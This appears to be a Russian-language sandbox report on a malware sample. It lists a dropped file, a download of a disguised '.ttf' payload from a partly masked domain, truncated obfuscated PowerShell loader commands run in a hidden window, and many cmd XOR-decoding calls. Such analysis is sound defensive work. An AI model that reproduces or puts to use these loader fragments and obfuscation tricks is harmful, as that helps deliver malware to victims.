Техническая информация
Вредоносные функции
Запускает большое число процессов
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\axinomancy.tro
Сетевая активность
Подключается к
- 'b2#####rauchtwagen.de':80
TCP
Запросы HTTP GET
- http://b2#####rauchtwagen.de/b2gebrauchtwagen/Canzoners.ttf
UDP
- DNS ASK b2#####rauchtwagen.de
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Retrospektivt=-24291+44291;Function Gangetegnenes9 ([String]$Aculeae){$Tamponeres=5;For($Blgeslaget=4; $Blgeslaget -lt $Aculeae.Length-1; $Blgeslaget+=$Tamponeres){$Udmajes = 'su'+'bstring';$...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Retrospektivt=-24291+44291;Function Gangetegnenes9 ([String]$Aculeae){$Tamponeres=5;For($Blgeslaget=4; $Blgeslaget -lt $Aculeae.Length-1; $Blgeslaget+=$Tamponeres){$Udmajes = 'su'+'bstring';$...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 158^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 170^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 133^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 189^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 163^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 140^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 155^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 138^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 153^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 190^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 130^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 187^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 131^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 172^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 159^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 231^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 235^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 249^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 137^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 248^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 156^^203"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Cnidoblast02([String]$Rosmarinlyngens125) { $Pulpwoodsldfastes = [System.Byte[]]::CreateInstance([System.Byte],$Rosmarinlyngens125.Length / 2) $hektoliters = (cmd /c 'echo 16') Fo...
- '%WINDIR%\syswow64\cmd.exe' /c "echo 16"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 152^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 178^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 184^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 191^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 174^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 166^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 229^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 175^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 167^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 134^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 162^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 168^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 185^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 164^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 173^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 165^^203"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 169^^203"
